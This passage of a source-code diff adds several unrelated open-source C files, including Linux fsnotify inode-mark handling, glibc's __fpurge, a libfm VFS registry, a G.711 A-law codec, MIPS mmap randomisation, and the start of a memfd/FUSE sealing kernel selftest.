+void fsnotify_destroy_inode_mark(struct fsnotify_mark *mark)
+{
+	struct inode *inode = mark->inode;
+
+	BUG_ON(!mutex_is_locked(&mark->group->mark_mutex));
+	assert_spin_locked(&mark->lock);
+
+	spin_lock(&inode->i_lock);
+
+	hlist_del_init_rcu(&mark->obj_list);
+	mark->inode = NULL;
+
+	/*
+	 * this mark is now off the inode->i_fsnotify_marks list and we
+	 * hold the inode->i_lock, so this is the perfect time to update the
+	 * inode->i_fsnotify_mask
+	 */
+	inode->i_fsnotify_mask = fsnotify_recalc_mask(&inode->i_fsnotify_marks);
+	spin_unlock(&inode->i_lock);
+}
+
+/*
+ * Given an inode, destroy all of the marks associated with that inode.
+ */
+void fsnotify_clear_marks_by_inode(struct inode *inode)
+{
+	struct fsnotify_mark *mark;
+	struct hlist_node *n;
+	LIST_HEAD(free_list);
+
+	spin_lock(&inode->i_lock);
+	hlist_for_each_entry_safe(mark, n, &inode->i_fsnotify_marks, obj_list) {
+		list_add(&mark->free_list, &free_list);
+		hlist_del_init_rcu(&mark->obj_list);
+		fsnotify_get_mark(mark);
+	}
+	spin_unlock(&inode->i_lock);
+
+	fsnotify_destroy_marks(&free_list);
+}
+
+/*
+ * Given a group clear all of the inode marks associated with that group.
+ */
+void fsnotify_clear_inode_marks_by_group(struct fsnotify_group *group)
+{
+	fsnotify_clear_marks_by_group_flags(group, FSNOTIFY_MARK_FLAG_INODE);
+}
+
+/*
+ * given a group and inode, find the mark associated with that combination.
+ * if found take a reference to that mark and return it, else return NULL
+ */
+struct fsnotify_mark *fsnotify_find_inode_mark(struct fsnotify_group *group,
+					       struct inode *inode)
+{
+	struct fsnotify_mark *mark;
+
+	spin_lock(&inode->i_lock);
+	mark = fsnotify_find_mark(&inode->i_fsnotify_marks, group);
+	spin_unlock(&inode->i_lock);
+
+	return mark;
+}
+
+/*
+ * If we are setting a mark mask on an inode mark we should pin the inode
+ * in memory.
+ */
+void fsnotify_set_inode_mark_mask_locked(struct fsnotify_mark *mark,
+					 __u32 mask)
+{
+	struct inode *inode;
+
+	assert_spin_locked(&mark->lock);
+
+	if (mask &&
+	    mark->inode &&
+	    !(mark->flags & FSNOTIFY_MARK_FLAG_OBJECT_PINNED)) {
+		mark->flags |= FSNOTIFY_MARK_FLAG_OBJECT_PINNED;
+		inode = igrab(mark->inode);
+		/*
+		 * we shouldn't be able to get here if the inode wasn't
+		 * already safely held in memory.  But bug in case it
+		 * ever is wrong.
+		 */
+		BUG_ON(!inode);
+	}
+}
+
+/*
+ * Attach an initialized mark to a given inode.
+ * These marks may be used for the fsnotify backend to determine which
+ * event types should be delivered to which group and for which inodes.  These
+ * marks are ordered according to priority, highest number first, and then by
+ * the group's location in memory.
+ */
+int fsnotify_add_inode_mark(struct fsnotify_mark *mark,
+			    struct fsnotify_group *group, struct inode *inode,
+			    int allow_dups)
+{
+	int ret;
+
+	mark->flags |= FSNOTIFY_MARK_FLAG_INODE;
+
+	BUG_ON(!mutex_is_locked(&group->mark_mutex));
+	assert_spin_locked(&mark->lock);
+
+	spin_lock(&inode->i_lock);
+	mark->inode = inode;
+	ret = fsnotify_add_mark_list(&inode->i_fsnotify_marks, mark,
+				     allow_dups);
+	inode->i_fsnotify_mask = fsnotify_recalc_mask(&inode->i_fsnotify_marks);
+	spin_unlock(&inode->i_lock);
+
+	return ret;
+}
+
+/**
+ * fsnotify_unmount_inodes - an sb is unmounting.  handle any watched inodes.
+ * @list: list of inodes being unmounted (sb->s_inodes)
+ *
+ * Called during unmount with no locks held, so needs to be safe against
+ * concurrent modifiers. We temporarily drop inode_sb_list_lock and CAN block.
+ */
+void fsnotify_unmount_inodes(struct list_head *list)
+{
+	struct inode *inode, *next_i, *need_iput = NULL;
+
+	spin_lock(&inode_sb_list_lock);
+	list_for_each_entry_safe(inode, next_i, list, i_sb_list) {
+		struct inode *need_iput_tmp;
+
+		/*
+		 * We cannot __iget() an inode in state I_FREEING,
+		 * I_WILL_FREE, or I_NEW which is fine because by that point
+		 * the inode cannot have any associated watches.
+		 */
+		spin_lock(&inode->i_lock);
+		if (inode->i_state & (I_FREEING|I_WILL_FREE|I_NEW)) {
+			spin_unlock(&inode->i_lock);
+			continue;
+		}
+
+		/*
+		 * If i_count is zero, the inode cannot have any watches and
+		 * doing an __iget/iput with MS_ACTIVE clear would actually
+		 * evict all inodes with zero i_count from icache which is
+		 * unnecessarily violent and may in fact be illegal to do.
+		 */
+		if (!atomic_read(&inode->i_count)) {
+			spin_unlock(&inode->i_lock);
+			continue;
+		}
+
+		need_iput_tmp = need_iput;
+		need_iput = NULL;
+
+		/* In case fsnotify_inode_delete() drops a reference. */
+		if (inode != need_iput_tmp)
+			__iget(inode);
+		else
+			need_iput_tmp = NULL;
+		spin_unlock(&inode->i_lock);
+
+		/* In case the dropping of a reference would nuke next_i. */
+		while (&next_i->i_sb_list != list) {
+			spin_lock(&next_i->i_lock);
+			if (!(next_i->i_state & (I_FREEING | I_WILL_FREE)) &&
+						atomic_read(&next_i->i_count)) {
+				__iget(next_i);
+				need_iput = next_i;
+				spin_unlock(&next_i->i_lock);
+				break;
+			}
+			spin_unlock(&next_i->i_lock);
+			next_i = list_entry(next_i->i_sb_list.next,
+						struct inode, i_sb_list);
+		}
+
+		/*
+		 * We can safely drop inode_sb_list_lock here because either
+		 * we actually hold references on both inode and next_i or
+		 * end of list.  Also no new inodes will be added since the
+		 * umount has begun.
+		 */
+		spin_unlock(&inode_sb_list_lock);
+
+		if (need_iput_tmp)
+			iput(need_iput_tmp);
+
+		/* for each watch, send FS_UNMOUNT and then remove it */
+		fsnotify(inode, FS_UNMOUNT, inode, FSNOTIFY_EVENT_INODE, NULL, 0);
+
+		fsnotify_inode_delete(inode);
+
+		iput(inode);
+
+		spin_lock(&inode_sb_list_lock);
+	}
+	spin_unlock(&inode_sb_list_lock);
+}
diff --git a/pool/shard001/C/0022075_fpurge.c b/pool/shard001/C/0022075_fpurge.c
new file mode 100644
index 0000000000000000000000000000000000000000..901890f6624f4d47a305d946a41796de9642f71a
--- /dev/null
+++ b/pool/shard001/C/0022075_fpurge.c
@@ -0,0 +1,42 @@
+/* Copyright (C) 2000-2016 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, see
+   <http://www.gnu.org/licenses/>.  */
+
+#include <stdio_ext.h>
+#include "libioP.h"
+
+void
+__fpurge (FILE *fp)
+{
+  if (fp->_mode > 0)
+    {
+      /* Wide-char stream.  */
+      if (_IO_in_backup (fp))
+	_IO_free_wbackup_area (fp);
+
+      fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_read_ptr;
+      fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_write_base;
+    }
+  else
+    {
+      /* Byte stream.  */
+      if (_IO_in_backup (fp))
+	_IO_free_backup_area (fp);
+
+      fp->_IO_read_end = fp->_IO_read_ptr;
+      fp->_IO_write_ptr = fp->_IO_write_base;
+    }
+}
diff --git a/pool/shard001/C/0022092_fm-file.c b/pool/shard001/C/0022092_fm-file.c
new file mode 100644
index 0000000000000000000000000000000000000000..8ed9a37e6f10a28c57ba69ce50c4d4c1c4475721
--- /dev/null
+++ b/pool/shard001/C/0022092_fm-file.c
@@ -0,0 +1,198 @@
+/*
+ *      fm-file.c
+ *
+ *      Copyright 2012-2013 Andriy Grytsenko (LStranger) <andrej@rep.kiev.ua>
+ *
+ *      This program is free software; you can redistribute it and/or modify
+ *      it under the terms of the GNU General Public License as published by
+ *      the Free Software Foundation; either version 2 of the License, or
+ *      (at your option) any later version.
+ *
+ *      This program is distributed in the hope that it will be useful,
+ *      but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *      GNU General Public License for more details.
+ *
+ *      You should have received a copy of the GNU General Public License
+ *      along with this program; if not, write to the Free Software
+ *      Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *      MA 02110-1301, USA.
+ */
+
+/**
+ * SECTION:fm-file
+ * @short_description: Extensions for GFile interface.
+ * @title: FmFile
+ *
+ * @include: libfm/fm.h
+ *
+ * The #FmFile represents interface to build extensions to GFile which
+ * will handle schemas that are absent in Glib/GVFS - such as "search:".
+ *
+ * To use it the GFile implementation should also implement FmFile vtable
+ * calls. The implementation should be added to list of known schemes via
+ * call to fm_file_add_vfs() then calls such as fm_file_new_for_uri() can
+ * use it.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+#include <glib-compat.h>
+
+#include "fm-file.h"
+
+#include <string.h>
+
+static GHashTable *schemes = NULL;
+
+#define FM_FILE_MODULE_MIN_VERSION 1
+#define FM_FILE_MODULE_MAX_VERSION 1
+
+
+G_DEFINE_INTERFACE(FmFile, fm_file, G_TYPE_FILE)
+
+static gboolean fm_file_wants_incremental_false(GFile *unused)
+{
+    return FALSE;
+}
+
+static void fm_file_default_init(FmFileInterface *iface)
+{
+    iface->wants_incremental = fm_file_wants_incremental_false;
+}
+
+
+static inline FmFileInitTable *fm_find_scheme(const char *name)
+{
+    CHECK_MODULES();
+    return (FmFileInitTable*)g_hash_table_lookup(schemes, name);
+}
+
+/**
+ * fm_file_add_vfs
+ * @name: scheme to act upon
+ * @init: table of functions
+ *
+ * Adds VFS to list of extensions that will be applied on next call to
+ * fm_file_new_for_uri() or fm_file_new_for_commandline_arg(). The @name
+ * is a schema which will be handled by those calls.
+ *
+ * Since: 1.0.2
+ */
+void fm_file_add_vfs(const char *name, FmFileInitTable *init)
+{
+    if(fm_find_scheme(name) == NULL)
+        g_hash_table_insert(schemes, g_strdup(name), init);
+}
+
+/**
+ * fm_file_wants_incremental
+ * @file: file to inspect
+ *
+ * Checks if contents of directory @file cannot be retrieved at once so
+ * scanning it may be done in incremental manner for the best results.
+ *
+ * Returns: %TRUE if retrieve of contents of @file will be incremental.
+ *
+ * Since: 1.0.2
+ */
+gboolean fm_file_wants_incremental(GFile* file)
+{
+    FmFileInterface *iface;
+
+    g_return_val_if_fail(file != NULL, FALSE);
+    if(!FM_IS_FILE(file))
+        return FALSE;
+    iface = FM_FILE_GET_IFACE(file);
+    return iface->wants_incremental ? iface->wants_incremental(file) : FALSE;
+}
+
+/**
+ * fm_file_new_for_uri
+ * @uri: a UTF8 string containing a URI
+ *
+ * Constructs a #GFile for a given URI. This operation never fails,
+ * but the returned object might not support any I/O operation if @uri
+ * is malformed or if the uri type is not supported.
+ *
+ * Returns: a new #GFile.
+ *
+ * Since: 1.0.2
+ */
+GFile *fm_file_new_for_uri(const char *uri)
+{
+    char *scheme;
+    FmFileInitTable *iface;
+    GFile *file = NULL;
+
+    scheme = g_uri_parse_scheme(uri);
+    if(scheme)
+    {
+        iface = fm_find_scheme(scheme);
+        if(iface && iface->new_for_uri)
+            file = iface->new_for_uri(uri);
+        g_free(scheme);
+        if(file)
+            return file;
+    }
+    return g_file_new_for_uri(uri);
+}
+
+/**
+ * fm_file_new_for_commandline_arg
+ * @arg: a command line string
+ *
+ * Creates a #GFile with the given argument from the command line.
+ * The value of @arg can be either a URI, an absolute path or
+ * a relative path resolved relative to the current working directory.
+ * This operation never fails, but the returned object might not support
+ * any I/O operation if @arg points to a malformed path.
+ *
+ * Returns: a new #GFile.
+ *
+ * Since: 1.0.2
+ */
+GFile *fm_file_new_for_commandline_arg(const char *arg)
+{
+    char *scheme;
+    FmFileInitTable *iface;
+    GFile *file = NULL;
+
+    scheme = g_uri_parse_scheme(arg);
+    if(scheme)
+    {
+        iface = fm_find_scheme(scheme);
+        if(iface && iface->new_for_uri)
+            file = iface->new_for_uri(arg);
+        g_free(scheme);
+        if(file)
+            return file;
+    }
+    return g_file_new_for_commandline_arg(arg);
+}
+
+/* TODO: implement fm_file_parse_name() too */
+
+/* modules stuff */
+FM_MODULE_DEFINE_TYPE(vfs, FmFileInitTable, 1)
+static gboolean fm_module_callback_vfs(const char *name, gpointer init, int ver)
+{
+    /* we don't check version and don't support any other than 1
+       otherwise we should allocate own copy of FmFileInitTable */
+    fm_file_add_vfs(name, init);
+    return TRUE;
+}
+
+void _fm_file_init(void)
+{
+    schemes = g_hash_table_new_full(g_str_hash, g_str_equal, g_free, NULL);
+    fm_module_register_vfs();
+}
+
+void _fm_file_finalize(void)
+{
+    fm_module_unregister_type("vfs");
+    g_hash_table_destroy(schemes);
+    schemes = NULL;
+}
diff --git a/pool/shard001/C/0022098_alaw.c b/pool/shard001/C/0022098_alaw.c
new file mode 100644
index 0000000000000000000000000000000000000000..319c22a385c5e73194f47b2064051e1ad7dfb990
--- /dev/null
+++ b/pool/shard001/C/0022098_alaw.c
@@ -0,0 +1,223 @@
+/*
+mediastreamer2 library - modular sound and video processing and streaming
+Copyright (C) 2006  Simon MORLAT (simon.morlat@linphone.org)
+
+This program is free software; you can redistribute it and/or
+modify it under the terms of the GNU General Public License
+as published by the Free Software Foundation; either version 2
+of the License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
+*/
+
+#include "mediastreamer2/msfilter.h"
+#include "g711.h"
+
+typedef struct _AlawEncData{
+	MSBufferizer *bz;
+	int ptime;
+	uint32_t ts;
+} AlawEncData;
+
+static AlawEncData * alaw_enc_data_new(){
+	AlawEncData *obj=(AlawEncData *)ms_new0(AlawEncData,1);
+	obj->bz=ms_bufferizer_new();
+	obj->ptime=0;
+	obj->ts=0;
+	return obj;
+}
+
+static void alaw_enc_data_destroy(AlawEncData *obj){
+	ms_bufferizer_destroy(obj->bz);
+	ms_free(obj);
+}
+
+static void alaw_enc_init(MSFilter *obj){
+	obj->data=alaw_enc_data_new();
+}
+
+static void alaw_enc_uninit(MSFilter *obj){
+	alaw_enc_data_destroy((AlawEncData*)obj->data);
+}
+
+static void alaw_enc_process(MSFilter *obj){
+	AlawEncData *dt=(AlawEncData*)obj->data;
+	MSBufferizer *bz=dt->bz;
+	uint8_t buffer[2240];
+	int frame_per_packet=2;
+	int size_of_pcm=320;
+
+	mblk_t *m;
+	
+	if (dt->ptime>=10)
+	{
+		frame_per_packet = dt->ptime/10;
+	}
+
+	if (frame_per_packet<=0)
+		frame_per_packet=1;
+	if (frame_per_packet>14) /* 7*20 == 140 ms max */
+		frame_per_packet=14;
+
+	size_of_pcm = 160*frame_per_packet; /* ex: for 20ms -> 160*2==320 */
+
+	while((m=ms_queue_get(obj->inputs[0]))!=NULL){
+		ms_bufferizer_put(bz,m);
+	}
+	while (ms_bufferizer_read(bz,buffer,size_of_pcm)==size_of_pcm){
+		mblk_t *o=allocb(size_of_pcm/2,0);
+		int i;
+		for (i=0;i<size_of_pcm/2;i++){
+			*o->b_wptr=Snack_Lin2Alaw(((int16_t*)buffer)[i]);
+			o->b_wptr++;
+		}
+		mblk_set_timestamp_info(o,dt->ts);
+		dt->ts+=size_of_pcm/2;
+		ms_queue_put(obj->outputs[0],o);
+	}
+}
+
+static int enc_add_fmtp(MSFilter *f, void *arg){
+	const char *fmtp=(const char *)arg;
+	AlawEncData *s=(AlawEncData*)f->data;
+	char tmp[30];
+	if (fmtp_get_value(fmtp,"ptime",tmp,sizeof(tmp))){
+		s->ptime=atoi(tmp);
+		ms_message("MSAlawEnc: got ptime=%i",s->ptime);
+	}
+	return 0;
+}
+
+static int enc_add_attr(MSFilter *f, void *arg){
+	const char *fmtp=(const char *)arg;
+	AlawEncData *s=(AlawEncData*)f->data;
+	if (strstr(fmtp,"ptime:10")!=NULL){
+		s->ptime=10;
+	}else if (strstr(fmtp,"ptime:20")!=NULL){
+		s->ptime=20;
+	}else if (strstr(fmtp,"ptime:30")!=NULL){
+		s->ptime=30;
+	}else if (strstr(fmtp,"ptime:40")!=NULL){
+		s->ptime=40;
+	}else if (strstr(fmtp,"ptime:50")!=NULL){
+		s->ptime=50;
+	}else if (strstr(fmtp,"ptime:60")!=NULL){
+		s->ptime=60;
+	}else if (strstr(fmtp,"ptime:70")!=NULL){
+		s->ptime=70;
+	}else if (strstr(fmtp,"ptime:80")!=NULL){
+		s->ptime=80;
+	}else if (strstr(fmtp,"ptime:90")!=NULL){
+		s->ptime=90;
+	}else if (strstr(fmtp,"ptime:100")!=NULL){
+		s->ptime=100;
+	}else if (strstr(fmtp,"ptime:110")!=NULL){
+		s->ptime=110;
+	}else if (strstr(fmtp,"ptime:120")!=NULL){
+		s->ptime=120;
+	}else if (strstr(fmtp,"ptime:130")!=NULL){
+		s->ptime=130;
+	}else if (strstr(fmtp,"ptime:140")!=NULL){
+		s->ptime=140;
+	}
+	return 0;
+}
+
+static MSFilterMethod enc_methods[]={
+	{	MS_FILTER_ADD_ATTR		,	enc_add_attr},
+	{	MS_FILTER_ADD_FMTP		,	enc_add_fmtp},
+	{	0				,	NULL		}
+};
+
+#ifdef _MSC_VER
+
+MSFilterDesc ms_alaw_enc_desc={
+	MS_ALAW_ENC_ID,
+	"MSAlawEnc",
+	N_("ITU-G.711 alaw encoder"),
+	MS_FILTER_ENCODER,
+	"pcma",
+	1,
+	1,
+	alaw_enc_init,
+	NULL,
+    alaw_enc_process,
+	NULL,
+    alaw_enc_uninit,
+	enc_methods
+};
+
+#else
+
+MSFilterDesc ms_alaw_enc_desc={
+	.id=MS_ALAW_ENC_ID,
+	.name="MSAlawEnc",
+	.text=N_("ITU-G.711 alaw encoder"),
+	.category=MS_FILTER_ENCODER,
+	.enc_fmt="pcma",
+	.ninputs=1,
+	.noutputs=1,
+	.init=alaw_enc_init,
+	.process=alaw_enc_process,
+	.uninit=alaw_enc_uninit,
+	.methods=enc_methods
+};
+
+#endif
+
+static void alaw_dec_process(MSFilter *obj){
+	mblk_t *m;
+	while((m=ms_queue_get(obj->inputs[0]))!=NULL){
+		mblk_t *o;
+		msgpullup(m,-1);
+		o=allocb((m->b_wptr-m->b_rptr)*2,0);
+		mblk_meta_copy(m, o);
+		for(;m->b_rptr<m->b_wptr;m->b_rptr++,o->b_wptr+=2){
+			*((int16_t*)(o->b_wptr))=Snack_Alaw2Lin(*m->b_rptr);
+		}
+		freemsg(m);
+		ms_queue_put(obj->outputs[0],o);
+	}
+}
+
+#ifdef _MSC_VER
+
+MSFilterDesc ms_alaw_dec_desc={
+	MS_ALAW_DEC_ID,
+	"MSAlawDec",
+	N_("ITU-G.711 alaw decoder"),
+	MS_FILTER_DECODER,
+	"pcma",
+	1,
+	1,
+	NULL,
+    NULL,
+    alaw_dec_process,
+    NULL,
+    NULL
+};
+
+#else
+
+MSFilterDesc ms_alaw_dec_desc={
+	.id=MS_ALAW_DEC_ID,
+	.name="MSAlawDec",
+	.text=N_("ITU-G.711 alaw decoder"),
+	.category=MS_FILTER_DECODER,
+	.enc_fmt="pcma",
+	.ninputs=1,
+	.noutputs=1,
+	.process=alaw_dec_process,
+};
+
+#endif
+
+MS_FILTER_DESC_EXPORT(ms_alaw_dec_desc)
+MS_FILTER_DESC_EXPORT(ms_alaw_enc_desc)
diff --git a/pool/shard001/C/0022102_mmap.c b/pool/shard001/C/0022102_mmap.c
new file mode 100644
index 0000000000000000000000000000000000000000..ae3c20a9556e92e5e1ce6db4c9b4dd1e0095a303
--- /dev/null
+++ b/pool/shard001/C/0022102_mmap.c
@@ -0,0 +1,122 @@
+/*
+ * This file is subject to the terms and conditions of the GNU General Public
+ * License.  See the file "COPYING" in the main directory of this archive
+ * for more details.
+ *
+ * Copyright (C) 2011 Wind River Systems,
+ *   written by Ralf Baechle <ralf@linux-mips.org>
+ */
+#include <linux/errno.h>
+#include <linux/mm.h>
+#include <linux/mman.h>
+#include <linux/module.h>
+#include <linux/random.h>
+#include <linux/sched.h>
+
+unsigned long shm_align_mask = PAGE_SIZE - 1;	/* Sane caches */
+
+EXPORT_SYMBOL(shm_align_mask);
+
+#define COLOUR_ALIGN(addr,pgoff)				\
+	((((addr) + shm_align_mask) & ~shm_align_mask) +	\
+	 (((pgoff) << PAGE_SHIFT) & shm_align_mask))
+
+unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
+	unsigned long len, unsigned long pgoff, unsigned long flags)
+{
+	struct vm_area_struct * vmm;
+	int do_color_align;
+
+	if (len > TASK_SIZE)
+		return -ENOMEM;
+
+	if (flags & MAP_FIXED) {
+		/* Even MAP_FIXED mappings must reside within TASK_SIZE.  */
+		if (TASK_SIZE - len < addr)
+			return -EINVAL;
+
+		/*
+		 * We do not accept a shared mapping if it would violate
+		 * cache aliasing constraints.
+		 */
+		if ((flags & MAP_SHARED) &&
+		    ((addr - (pgoff << PAGE_SHIFT)) & shm_align_mask))
+			return -EINVAL;
+		return addr;
+	}
+
+	do_color_align = 0;
+	if (filp || (flags & MAP_SHARED))
+		do_color_align = 1;
+	if (addr) {
+		if (do_color_align)
+			addr = COLOUR_ALIGN(addr, pgoff);
+		else
+			addr = PAGE_ALIGN(addr);
+		vmm = find_vma(current->mm, addr);
+		if (TASK_SIZE - len >= addr &&
+		    (!vmm || addr + len <= vmm->vm_start))
+			return addr;
+	}
+	addr = current->mm->mmap_base;
+	if (do_color_align)
+		addr = COLOUR_ALIGN(addr, pgoff);
+	else
+		addr = PAGE_ALIGN(addr);
+
+	for (vmm = find_vma(current->mm, addr); ; vmm = vmm->vm_next) {
+		/* At this point:  (!vmm || addr < vmm->vm_end). */
+		if (TASK_SIZE - len < addr)
+			return -ENOMEM;
+		if (!vmm || addr + len <= vmm->vm_start)
+			return addr;
+		addr = vmm->vm_end;
+		if (do_color_align)
+			addr = COLOUR_ALIGN(addr, pgoff);
+	}
+}
+
+void arch_pick_mmap_layout(struct mm_struct *mm)
+{
+	unsigned long random_factor = 0UL;
+
+	if (current->flags & PF_RANDOMIZE) {
+		random_factor = get_random_int();
+		random_factor = random_factor << PAGE_SHIFT;
+		if (TASK_IS_32BIT_ADDR)
+			random_factor &= 0xfffffful;
+		else
+			random_factor &= 0xffffffful;
+	}
+
+	mm->mmap_base = TASK_UNMAPPED_BASE + random_factor;
+	mm->get_unmapped_area = arch_get_unmapped_area;
+	mm->unmap_area = arch_unmap_area;
+}
+
+static inline unsigned long brk_rnd(void)
+{
+	unsigned long rnd = get_random_int();
+
+	rnd = rnd << PAGE_SHIFT;
+	/* 8MB for 32bit, 256MB for 64bit */
+	if (TASK_IS_32BIT_ADDR)
+		rnd = rnd & 0x7ffffful;
+	else
+		rnd = rnd & 0xffffffful;
+
+	return rnd;
+}
+
+unsigned long arch_randomize_brk(struct mm_struct *mm)
+{
+	unsigned long base = mm->brk;
+	unsigned long ret;
+
+	ret = PAGE_ALIGN(base + brk_rnd());
+
+	if (ret < mm->brk)
+		return mm->brk;
+
+	return ret;
+}
diff --git a/pool/shard001/C/0022117_fuse_test.c b/pool/shard001/C/0022117_fuse_test.c
new file mode 100644
index 0000000000000000000000000000000000000000..1ccb7a3eb14bfdf33f8c02ba12f2991cc16fc8df
--- /dev/null
+++ b/pool/shard001/C/0022117_fuse_test.c
@@ -0,0 +1,312 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * memfd GUP test-case
+ * This tests memfd interactions with get_user_pages(). We require the
+ * fuse_mnt.c program to provide a fake direct-IO FUSE mount-point for us. This
+ * file-system delays _all_ reads by 1s and forces direct-IO. This means, any
+ * read() on files in that file-system will pin the receive-buffer pages for at
+ * least 1s via get_user_pages().
+ *
+ * We use this trick to race ADD_SEALS against a write on a memfd object. The
+ * ADD_SEALS must fail if the memfd pages are still pinned. Note that we use
+ * the read() syscall with our memory-mapped memfd object as receive buffer to
+ * force the kernel to write into our memfd object.
+ */
+
+#define _GNU_SOURCE
+#define __EXPORTED_HEADERS__
+
+#include <errno.h>
+#include <inttypes.h>
+#include <limits.h>
+#include <linux/falloc.h>
+#include <linux/fcntl.h>
+#include <linux/memfd.h>
+#include <sched.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <signal.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#define MFD_DEF_SIZE 8192
+#define STACK_SIZE 65536
+
+static int sys_memfd_create(const char *name,
+			    unsigned int flags)
+{
+	return syscall(__NR_memfd_create, name, flags);
+}
+
+static int mfd_assert_new(const char *name, loff_t sz, unsigned int flags)
+{
+	int r, fd;
+
+	fd = sys_memfd_create(name, flags);
+	if (fd < 0) {
+		printf("memfd_create(\"%s\", %u) failed: %m\n",
+		       name, flags);
+		abort();
+	}
+
+	r = ftruncate(fd, sz);
+	if (r < 0) {
+		printf("ftruncate(%llu) failed: %m\n", (unsigned long long)sz);
+		abort();
+	}
+
+	return fd;
+}
+
+static __u64 mfd_assert_get_seals(int fd)
+{
+	long r;
+
+	r = fcntl(fd, F_GET_SEALS);
+	if (r < 0) {
+		printf("GET_SEALS(%d) failed: %m\n", fd);
+		abort();
+	}
+
+	return r;
+}
+
+static void mfd_assert_has_seals(int fd, __u64 seals)
+{
+	__u64 s;
+
+	s = mfd_assert_get_seals(fd);
+	if (s != seals) {
+		printf("%llu != %llu = GET_SEALS(%d)\n",
+		       (unsigned long long)seals, (unsigned long long)s, fd);
+		abort();
+	}
+}
+
+static void mfd_assert_add_seals(int fd, __u64 seals)
+{
+	long r;
+	__u64 s;
+
+	s = mfd_assert_get_seals(fd);
+	r = fcntl(fd, F_ADD_SEALS, seals);
+	if (r < 0) {
+		printf("ADD_SEALS(%d, %llu -> %llu) failed: %m\n",
+		       fd, (unsigned long long)s, (unsigned long long)seals);
+		abort();
+	}
+}
+
+static int mfd_busy_add_seals(int fd, __u64 seals)
+{
+	long r;
+	__u64 s;
+
+	r = fcntl(fd, F_GET_SEALS);
+	if (r < 0)
+		s = 0;
+	else
+		s = r;
+
+	r = fcntl(fd, F_ADD_SEALS, seals);
+	if (r < 0 && errno != EBUSY) {
+		printf("ADD_SEALS(%d, %llu -> %llu) didn't fail as expected with EBUSY: %m\n",
+		       fd, (unsigned long long)s, (unsigned long long)seals);
+		abort();
+	}
+
+	return r;
+}
+
+static void *mfd_assert_mmap_shared(int fd)
+{
+	void *p;
+
+	p = mmap(NULL,
+		 MFD_DEF_SIZE,
+		 PROT_READ | PROT_WRITE,
+		 MAP_SHARED,
+		 fd,
+		 0);
+	if (p == MAP_FAILED) {
+		printf("mmap() failed: %m\n");
+		abort();
+	}
+
+	return p;
+}
+
+static void *mfd_assert_mmap_private(int fd)
+{
+	void *p;
+
+	p = mmap(NULL,
+		 MFD_DEF_SIZE,
+		 PROT_READ | PROT_WRITE,
+		 MAP_PRIVATE,
+		 fd,
+		 0);
+	if (p == MAP_FAILED) {
+		printf("mmap() failed: %m\n");
+		abort();
+	}
+
+	return p;
+}
+
+static int global_mfd = -1;
+static void *global_p = NULL;
+
+static int sealing_thread_fn(void *arg)
+{
+	int sig, r;
+
+	/*
+	 * This thread first waits 200ms so any pending operation in the parent
+	 * is correctly started. After that, it tries to seal @global_mfd as
+	 * SEAL_WRITE. This _must_ fail as the parent thread has a read() into
+	 * that memory mapped object still ongoing.
+	 * We then wait one more second and try sealing again. This time it
+	 * must succeed as there shouldn't be anyone else pinning the pages.
+	 */
+
+	/* wait 200ms for FUSE-request to be active */
+	usleep(200000);
+
+	/* unmount mapping before sealing to avoid i_mmap_writable failures */
+	munmap(global_p, MFD_DEF_SIZE);
+
+	/* Try sealing the global file; expect EBUSY or success. Current
+	 * kernels will never succeed, but in the future, kernels might
+	 * implement page-replacements or other fancy ways to avoid racing
+	 * writes. */
+	r = mfd_busy_add_seals(global_mfd, F_SEAL_WRITE);
+	if (r >= 0) {
+		printf("HURRAY! This kernel fixed GUP races!\n");
+	} else {
+		/* wait 1s more so the FUSE-request is done */
+		sleep(1);
+
+		/* try sealing the global file again */
+		mfd_assert_add_seals(global_mfd, F_SEAL_WRITE);
+	}
+
+	return 0;
+}
+
+static pid_t spawn_sealing_thread(void)
+{
+	uint8_t *stack;
+	pid_t pid;
+
+	stack = malloc(STACK_SIZE);
+	if (!stack) {
+		printf("malloc(STACK_SIZE) failed: %m\n");
+		abort();
+	}
+
+	pid = clone(sealing_thread_fn,
+		    stack + STACK_SIZE,
+		    SIGCHLD | CLONE_FILES | CLONE_FS | CLONE_VM,
+		    NULL);
+	if (pid < 0) {
+		printf("clone() failed: %m\n");
+		abort();
+	}
+
+	return pid;
+}
+
+static void join_sealing_thread(pid_t pid)
+{
+	waitpid(pid, NULL, 0);
+}
+
+int main(int argc, char **argv)
+{
+	static const char zero[MFD_DEF_SIZE];
+	int fd, mfd, r;
+	void *p;
+	int was_sealed;
+	pid_t pid;
+
+	if (argc < 2) {
+		printf("error: please pass path to file in fuse_mnt mount-point\n");
+		abort();
+	}
+
+	/* open FUSE memfd file for GUP testing */
+	printf("opening: %s\n", argv[1]);
+	fd = open(argv[1], O_RDONLY | O_CLOEXEC);
+	if (fd < 0) {
+		printf("cannot open(\"%s\"): %m\n", argv[1]);
+		abort();
+	}
+
+	/* create new memfd-object */
+	mfd = mfd_assert_new("kern_memfd_fuse",
+			     MFD_DEF_SIZE,
+			     MFD_CLOEXEC | MFD_ALLOW_SEALING);
